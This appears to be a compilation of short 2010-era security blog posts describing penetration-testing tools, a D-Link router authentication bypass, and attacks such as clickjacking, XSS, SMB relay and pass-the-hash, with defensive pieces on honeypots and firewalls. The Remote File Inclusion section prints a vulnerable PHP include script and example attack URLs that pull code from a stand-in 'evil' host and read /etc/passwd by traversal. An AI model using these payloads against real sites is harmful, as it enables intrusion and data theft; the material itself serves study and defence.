Social-Engineering Toolkit

 

The Social-Engineering Toolkit (SET) is a python-driven suite of custom tools which solely focuses on attacking the human element of penetration testing. It's main purpose is to augment and simulate social-engineering attacks and allow the tester to effectively test how a targeted attack may succeed. Currently SET has two main methods of attack, one is utilizing.Metasploit payloads and Java-based attacks by setting up a malicious website that ultimately delivers your payload. The second method is through file-format bugs and e-mail phishing. The second method supports your own open-mail relay, a customized sendmail open-relay, or Gmail integration to deliver your payloads through e-mail. The goal of SET is to bring awareness to the often forgotten attack vector of social-engineering.

x5s - Automated Cross-Site Scripting


x5s is a Fiddler addon which aims to assist penetration testers in finding cross-site scripting vulnerabilities. It's main goal is to help you identify the hotspots where XSS might occur by:

  • Detecting where safe encodings were not applied to emitted user-inputs
  • Detecting where Unicode character transformations might bypass security filters
  • Detecting where non-shortest UTF-8 encodings might bypass security filters
It injects ASCII to find traditional encoding issues, and it injects special Unicode characters and encodings to help an analyst identify where XSS filters might be bypassed. The approach to finding these hotspots involves injecting single-character probes separately into each input field of each request, and detecting how they were later emitted. The focus is on reflected XSS issues however persisted issues can also be detected. The idea of injecting special Unicode characters and non-shortest form encodings was to identify where transformations occur which could be used to bypass security filters. This also has the interesting side effect of illuminating how all of the fields in a Web-app handle Unicode. For example, in a single page with many inputs, you may end up seeing the same test case get returned in a variety of ways – URL encoded, NCR encoded, ill-encoded, raw, replaced, dropped, etc. In some cases where we’ve had Watcher running in conjunction, we’ve been able to detect ill-formed UTF-8 byte sequences which is indicative of ‘other’ problems.

x5s acts as an assistant to the security tester by speeding up the process of parameter manipulation and aggregating the results for quick viewing. It automates some of the preliminary XSS testing work by enumerating and injecting canaries into all input fields/parameters sent to an application and analyzing how those canaries were later emitted. E.g. Was the emitted output encoded safely or not? Did an injected character transform to something else?

x5s does not inject XSS payloads - it does not attempt to exploit or confirm an XSS vulnerability. It's designed to draw your attention to the fields and parameters which seem likely candidates for vulnerability. A security-tester would review the results to find issues where special characters were dangerously transformed or emitted without a safe encoding. This can be done by quickly scanning the results, which have been designed with the intention of providing quick visual inspection. Results filters are also included so the tester could simply click show hotspots to see only the potential problem areas. After identifying a hotspot it's the tester's job to perform further validation and XSS testing.

The types of test cases that x5s includes:
  1. Traditional test cases - characters typically used to test for XSS injection such as <, >, ",and ' which are used to control HTML, CSS, or javascript;
  2. Transformable test cases - characters that might uppercase, lowercase, Normalize, best-fit map, or other wise transform to completely different characters, E.g. the Turkish 'İ' which will lower-case to 'i' in culture-aware software.
  3. Overlong UTF-8 test cases - non-shortest UTF-8 encodings of the 'traditional' test cases noted above. E.g. the ASCII < is 0x3C normally and 0xC0 0xBC in non-shortest form UTF-8.

D-Link Routers: One Hack to Own Them All

Multiple D-Link Routers Vulnerable to Authentication Bypass

Multiple D-Link routers suffer from insecure implementations of the Home
Network Administration Protocol which allow unauthenticated and/or
unprivileged users to view and configure administrative settings on the
router.

Further, the mere existence of HNAP allows attackers to completely bypass
the CAPTCHA login features that D-Link has made available in recent
firmware releases.

These vulnerabilities can be exploited by an individual inside the local
network, as well as an external attacker.

It is suspected that most, if not all, D-Link routers manufactured since
2006 have HNAP support and are vulnerable. However, only the following
routers and firmware versions have been confirmed to date:

1) DI-524 hardware version C1, firmware version 3.23
2) DIR-628 hardware version B2, firmware versions 1.20NA and
1.22NA
3) DIR-655 hardware version A1, firmware version 1.30EA

Clickjacking

Clickjacking is a term first introduced by Jeremiah Grossman and Robert Hansen in 2008 to describe a technique whereby an attacker tricks a user into performing certain actions on a website by hiding clickable elements inside an invisible iframe.

Although it has been two years since the concept was first introduced, most websites still have not implemented effective protection against clickjacking. In part, this may be because of the difficulty of visualising how the technique works in practice.

This new browser-based tool allows a user to experiment with clickjacking techniques by using point-and-click to visually select different elements within a webpage to be targeted. The tool also allows several 'next-generation' clickjacking techniques to be used, as introduced in Paul Stone's Blackhat Europe 2010 talk.

Among the features of the new tool are:
Use point-and-click to select the areas of a page to be targeted
Supports the new 'text-field injection' technique
Supports the new 'content extraction' technique
'Visible mode' replay allowing a user to see how the technique works behind the science
'Hidden mode' replay allows the same steps to be replayed in a hidden manner, simulating a real clickjacking attack.
The tool is currently in an early beta stage, and works best in Firefox 3.6. Full support for other browsers will follow shortly. For further information, please see the Readme.txt file in the downloadable tool.

HTML Injection in NASA Website

Last February 25, 2010 I made a full disclosure type of post here regarding multiple nasa.gov server "0-day" vulnerabilities. I believe most (if not all) of these live vulnerabilities have already been fixed thanks to the media like CBS News who broke it (together with the NSA defacement) to public in one of their "cyber war" reports involving the China Google hacking incident if my memory serves me right. Anyway, here is the last exploit which is a good example of html injection for those who are interested in studying it further.

Windows SMB Relay Exploit



In this Underground video, Overide demonstrates how to obtain root access on a fully patched Windows XP SP3 Machine. He exploits a flaw in Windows Server Message Block (SMB) which is used to provide shared access to files between hosts on a network. Overide utilizes the Metasploits Framework to run the exploit. It works by relaying a SMB authentication request to another host which provides Metasploit with a authenticated SMB session, and if the user is an administrator, Metasploits will be able to execute code on the target computer such as a reverse shell. For this exploit to run, the target computer must try to authenticate to Metasploit. Overide forces the target computer to perform a SMB authentication attempt by using a Ettercap Filter.

Honeypots


Honey Pot Systems are decoy servers or systems setup to gather information regarding an attacker or intruder into your system. It is important to remember that Honey Pots do not replace other traditional Internet security systems; they are an additional level or system.

Honey Pots can be setup inside, outside or in the DMZ of a firewall design or even in all of the locations although they are most often deployed inside of a firewall for control purposes. In a sense, they are variants of standard Intruder Detection Systems (IDS) but with more of a focus on information gathering and deception.

An example of a Honey Pot systems installed in a traditional Internet security design:
figure 1
A Honey Pot system is setup to be easier prey for intruders than true production systems but with minor system modifications so that their activity can be logged of traced. The general thought is that once an intruder breaks into a system, they will come back for subsequent visits. During these subsequent visits, additional information can be gathered and additional attempts at file, security and system access on the Honey can be monitored and saved.

Generally, there are two popular reasons or goals behind setting up a Honey Pot:
  1. Learn how intruders probe and attempt to gain access to your systems. The general idea is that since a record of the intruder’s activities is kept, you can gain insight into attack methodologies to better protect your real production systems.
  2. Gather forensic information required to aid in the apprehension or prosecution of intruders. This is the sort of information often needed to provide law enforcement officials with the details needed to prosecute.
The common line of thought in setting up Honey Pot systems is that it is acceptable to use lies or deception when dealing with intruders. What this means to you when setting up a Honey Pot is that certain goals have to be considered.

Those goals are:
  1. The Honey Pot system should appear as generic as possible. If you are deploying a Microsoft NT based system, it should appear to the potential intruder that the system has not been modified or they may disconnect before much information is collected.
  2. You need to be careful in what traffic you allow the intruder to send back out to the Internet for you don’t want to become a launch point for attacks against other entities on the Internet. (One of the reasons for installing a Honey Pot inside of the firewall!)
  3. You will want to make your Honey Pot an interesting site by placing "Dummy" information or make it appear as though the intruder has found an "Intranet" server, etc. Expect to spend some time making your Honey Pot appear legitimate so that intruders will spend enough time investigating and perusing the system so that you are able to gather as much forensic information as possible.
Some caveats exist that should be considered when implementing a Honey pot system. Some of the more important are:

The first caveat is the consideration that if the information gathered from a Honey Pot system is used for prosecution purposes, it may or may not be deemed admissible in court. While information regarding this issue is difficult to come by, having been hired as an expert witness for forensic data recovery purposes, I have serious reservations regarding whether or not all courts will accept this as evidence or if non-technical juries are able to understand the legitimacy of it as evidence.

The second main caveat for consideration is whether hacking organizations will rally against an organization that has set "traps" and make them a public target for other hackers. Examples of this sort of activity can be found easily on any of the popular hacker’s sites or their publications.

PHP Remote File Inclusion



Remote File Inclusion is a technique used to attack websites from a remote computer.RFI allow malicious users to run their own PHP code on a vulnerable website.This allows the attacker to use and run any remote file just by editing the URL. Like a webshell can display the files and folders on the server and can add,edit or delete files and folders,send spams and even get hold of root.

Remote File Inclusion (RFI) is a type of vulnerability most often found on websites, it allows an attacker to include a remote file usually through a script on the web server. The vulnerability occurs due to the use of user supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to:
  • Code execution on the web server
  • Code execution on the client-side such as Javascript which can lead to other attacks such as cross site scripting (XSS).
  • Denial of Service (DoS)
  • Data Theft/Manipulation



In PHP the main cause is due to the use of unvalidated external variables such as $_GET, $_POST, $_COOKIE with a filesystem function, most notable are the include and require statements. Most of the vulnerabilities can be attributed to novice programmers not being familiar with all of the capabilities of the PHP programming language. The PHP language has an allow_url_fopen directive and if enabled it allows filesystem functions to use a URL which allow them to retrieve data from remote locations. An attacker will alter a variable that is passed to one of these functions to cause it to include malicious code from a remote resource. To mitigate this, all user input needs to be validated before being used.

Example

Consider this PHP script (which includes a file specified by request):

   $color = 'blue';
   if (isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>
method="get">
> type="submit"> >
The developer intended only blue.php and red.php to be used as options. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:
  • /vulnerable.php?COLOR=http://evil/exploit? - injects a remotely hosted file containing an exploit.
  • /vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - Executes code from an already uploaded file called exploit.php
  • /vulnerable.php?COLOR=../../../../../../../../etc/passwd - allows an attacker to read the contents of the passwd file on a UNIX system directory traversal.
  • /vulnerable.php?COLOR=C:\\notes.txt - example using NULL meta character to remove the .php suffix, allowing access to files other than .php. (With magic_quotes_gpc enabled this limits the attack by escaping special characters, this disables the use of the Null character)

DNS Spoof Virtual Hosts



DNS Spoofing is a type of MITM attack in which victim's computer is sent a fake DNS reply for a particular website,forcing his machine to visit a different site.But when this Spoofed IP is hosting multiple virtual sites with multiple Host Headers and attacker wants to use this IP as a fake DNS reply for DNS Spoofing then the server will not be able to determine the proper destination as Host Header will be missing in the request.Hence DNS Spoofing attack will not success.

In this video , Ettercap is combined with a C program to change the host header on the fly and submits a new get request to the web server, which allows an attacker to successfully launch DNS Spoofing attack with a IP hosting multiple virtual web sites.

Meterpreter as a Backdoor



A backdoor in a computer system (or cryptosystem or algorithm) is a method of bypassing normal authentication, securing remote access to a computer, obtaining access to plaintext, and so on, while attempting to remain undetected. The backdoor may take the form of an installed program (e.g., Back Orifice), or could be a modification to an existing program or hardware device.

Pass the Hash with modified SMB Client Vulnerability



A modified SMB client can mount shares on an SMB host by passing the username and corresponding LanMan hash of an account that is authorized to access the host and share. The modified SMB client removes the need for the user to "decrypt" the password hash into its clear-text equivalent.

In order for this to be used in a malicious manner, the attacker must first obtain a valid username and LanMan hash for a user account known to have access permissions to the resource on the remote NT host.

Cracking Tutorial



Software cracking is the modification of software to remove protection methods: copy protection, trial/demo version, serial number, hardware key, date checks, CD check or software annoyances like nag screens and adware.
The distribution and use of cracked copies is illegal in almost every developed country. There have been many lawsuits over cracking software, but most had to do with the distribution of the duplicated product rather than the process of defeating the protection, due to the difficulty of constructing legally sound proof of individual guilt in the latter instance. In the United States, the Digital Millennium Copyright Act (DMCA) made software cracking, as well as the distribution of information that facilitates software cracking, illegal. However, the law has hardly been tested in U.S. courts in cases of reverse engineering for personal use only. The European Union passed the EU Copyright Directive in May 2001, which makes software copyright infringement illegal as the member states pass legislation pursuant to the directive.

Amazon EC2 Service In Depth (Cloud Computing)



Cloud computing is Internet-based computing, whereby shared resources, software and information are provided to computers and other devices on-demand, like a public utility.
It is a paradigm shift following the shift from mainframe to client-server that preceded it in the early '80s. Details are abstracted from the users who no longer have need of, expertise in, or control over the technology infrastructure "in the cloud" that supports them. Cloud computing describes a new supplement, consumption and delivery model for IT services based on the Internet, and it typically involves the provision of dynamically scalable and often virtualized resources as a service over the Internet. It is a byproduct and consequence of the ease-of-access to remote computing sites provided by the Internet.
The term cloud is used as a metaphor for the Internet, based on the cloud drawing used in the past to represent the telephone network, and later to depict the Internet in computer network diagrams as an abstraction of the underlying infrastructure it represents. Typical cloud computing providers deliver common business applications online which are accessed from another web service or software like a web browser, while the software and data are stored on servers.
A technical definition is "a computing capability that provides an abstraction between the computing resource and its underlying technical architecture (e.g., servers, storage, networks), enabling convenient, on-demand network access to a shared pool of configurable computing resources that can be rapidly provisioned and released with minimal management effort or service provider interaction." This definition states that clouds have five essential characteristics: on-demand self-service, broad network access, resource pooling, rapid elasticity, and measured service.
The majority of cloud computing infrastructure, as of 2009, consists of reliable services delivered through data centers and built on servers. Clouds often appear as single points of access for all consumers' computing needs. Commercial offerings are generally expected to meet quality of service (QoS) requirements of customers and typically offer SLAs.

Firewalls



A firewall is a part of a computer system or network that is designed to block unauthorized access while permitting authorized communications. It is a device or set of devices which is configured to permit or deny computer based application upon a set of rules and other criteria.
Firewalls can be implemented in either hardware or software, or a combination of both. Firewalls are frequently used to prevent unauthorized Internet users from accessing private networks connected to the Internet, especially intranets. All messages entering or leaving the intranet pass through the firewall, which examines each message and blocks those that do not meet the specified security criteria.
There are several types of firewall techniques:
  1. Packet filter: Packet filtering inspects each packet passing through the network and accepts or rejects it based on user-defined rules. Although difficult to configure, it is fairly effective and mostly transparent to its users. It is susceptible to IP spoofing.
  2. Application gateway: Applies security mechanisms to specific applications, such as FTP and Telnet servers. This is very effective, but can impose a performance degradation.
  3. Circuit-level gateway: Applies security mechanisms when a TCP or UDP connection is established. Once the connection has been made, packets can flow between the hosts without further checking.
  4. Proxy server: Intercepts all messages entering and leaving the network. The proxy server effectively hides the true network addresses.

Creating a Win32 Reverse Connect Back Trojan using Netcat



Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is designed to be a dependable “back-end” device that can be used candidly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities.

In 2000 according to www.insecure.org Netcat was voted the second most functional network security tool. Also, in 2003 and 2006 it gained fourth place in the same category. Netcat is often referred to as a "Swiss-army knife for TCP/IP." Its list of features includes port scanning, transferring files, and port listening, and it can be used as a backdoor.

According to http://nc110.sourceforge.net/, some of netcat's major features are:

* Outbound or inbound connections, TCP or UDP, to or from any ports
* Full DNS forward/reverse checking, with appropriate warnings
* Ability to use any local source port
* Ability to use any locally-configured network source address
* Built-in port-scanning capabilities, with randomization
* Built-in loose source-routing capability
* Can read command line arguments from standard input
* Slow-send mode, one line every N seconds
* Hex dump of transmitted and received data
* Optional ability to let another program service established connections
* Optional telnet-options responder
* Featured tunneling mode which allows also special tunneling such as UDP to TCP, with the possibility of specifying all network parameters (source port/interface, listening port/interface, and the remote host allowed to connect to the tunnel.

SSL Hacking and DNS Spoofing with Backtrack using Ettercap



Ettercap is a Unix and Windows tool for computer network protocol analysis and security auditing. It is capable of intercepting traffic on a network segment, capturing passwords, and conducting active eavesdropping against a number of common protocols.
It is free open source software, licensed under the terms of the GNU General Public License.

Features

Ettercap supports active and passive dissection of many protocols (including ciphered ones) and provides many features for network and host analysis. Ettercap offers four modes of operation:
  • IP-based: packets are filtered based on IP source and destination.
  • MAC-based: packets are filtered based on MAC address, useful for sniffing connections through a gateway.
  • ARP-based: uses ARP poisoning to sniff on a switched LAN between two hosts (full-duplex).
  • PublicARP-based: uses ARP poisoning to sniff on a switched LAN from a victim host to all other hosts (half-duplex).
In addition, the software also offers the following features:
  • Character injection into an established connection: characters can be injected into a server (emulating commands) or to a client (emulating replies) while maintaining a live connection.
  • SSH1 support: the sniffing of a username and password, and even the data of an SSH1 connection. Ettercap is the first software capable of sniffing an SSH connection in full duplex.
  • HTTPS support: the sniffing of HTTP SSL secured data--even when the connection is made through a proxy.
  • Remote traffic through a GRE tunnel: the sniffing of remote traffic through a GRE tunnel from a remote Cisco router, and perform a man-in-the-middle attack on it.
  • Plug-in support: creation of custom plugins using Ettercap's API.
  • Password collectors for: TELNET, FTP, POP, IMAP, rlogin, SSH1, ICQ, SMB, MySQL, HTTP, NNTP, X11, Napster, IRC, RIP, BGP, SOCKS 5, IMAP 4, VNC, LDAP, NFS, SNMP, Half-Life, Quake 3, MSN, YMSG
  • Packet filtering/dropping: setting up a filter that searches for a particular string (or hexadecimal sequence) in the TCP or UDP payload and replaces it with a custom string/sequence of choice, or drops the entire packet.
  • OS fingerprinting: determine the OS of the victim host and its network adapter.
  • Kill a connection: killing connections of choice from the connections-list.
  • Passive scanning of the LAN: retrieval of information about hosts on the LAN, their open ports, the version numbers of available services, the type of the host (gateway, router or simple PC) and estimated distances in number of hops.
  • Hijacking of DNS requests.
Ettercap also has the ability to actively or passively find other poisoners on the LAN.

Yahoo! Account Security Failure (POC)

How Cross-Site Scripting (XSS) Works



Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications that enables malicious attackers to inject client-side script into web pages viewed by other users. An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy. Cross-site scripting carried out on websites were roughly 80% of all security vulnerabilities documented by Symantec as of 2007. Their impact may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site, and the nature of any security mitigations implemented by the site's owner.

Steganography



Steganography is the art and science of writing hidden messages in such a way that no one, apart from the sender and intended recipient, suspects the existence of the message, a form of security through obscurity. The word steganography is of Greek origin and means "concealed writing" from the greek words steganos meaning covered or protected, and graphein (Γράφειν) meaning to write. The first recorded use of the term was in 1499 by Johannes Trithemius in his Steganographia, a treatise on cryptography and steganography disguised as a book on magic. Generally, messages will appear to be something else: images, articles, shopping lists, or some other covertext and, classically, the hidden message may be in invisible ink between the visible lines of a private letter.
The advantage of steganography, over cryptography alone, is that messages do not attract attention to themselves. Plainly visible encrypted messages—no matter how unbreakable—will arouse suspicion, and may in themselves be incriminating in countries where encryption is illegal. Therefore, whereas cryptography protects the contents of a message, steganography can be said to protect both messages and communicating parties.
Steganography includes the concealment of information within computer files. In digital steganography, electronic communications may include steganographic coding inside of a transport layer, such as a document file, image file, program or protocol. Media files are ideal for steganographic transmission because of their large size. As a simple example, a sender might start with an innocuous image file and adjust the color of every 100th pixel to correspond to a letter in the alphabet, a change so subtle that someone not specifically looking for it is unlikely to notice it.

Honeyd



Honeyd is an open source computer program that allows a user to set up and run multiple virtual hosts on a computer network. These virtual hosts can be configured to mimic several different types of servers, allowing the user to simulate an infinite number of computer network configurations. Honeyd is primarily used in the field of computer security by professionals and hobbyists alike, and is included as part of Knoppix Security Tools Distribution.

Applications

Distraction

Honeyd is used primarily for two purposes. Using the software's ability to mimic many different network hosts at once (up to 65536 hosts at once), Honeyd can act as a distraction to potential hackers. If a network only has 3 real servers, but one server is running Honeyd, the network will appear running hundreds of servers to a hacker. The hacker will then have to do more research (possibly through social engineering) in order to determine which servers are real, or the hacker may get caught in a honeypot. Either way, the hacker will be slowed down or possibly caught.

Honeypot

Honeyd gets its name for its ability to be used as a honeypot. On a network, all normal traffic should be to and from valid servers only. Thus, a network administrator running Honeyd can monitor his/her logs to see if there is any traffic going to the virtual hosts set up by Honeyd. Any traffic going to these virtual servers can be considered highly suspicious. The network administrator can then take preventative action, perhaps by blocking the suspicious IP address or by further monitoring the network for suspicious traffic.
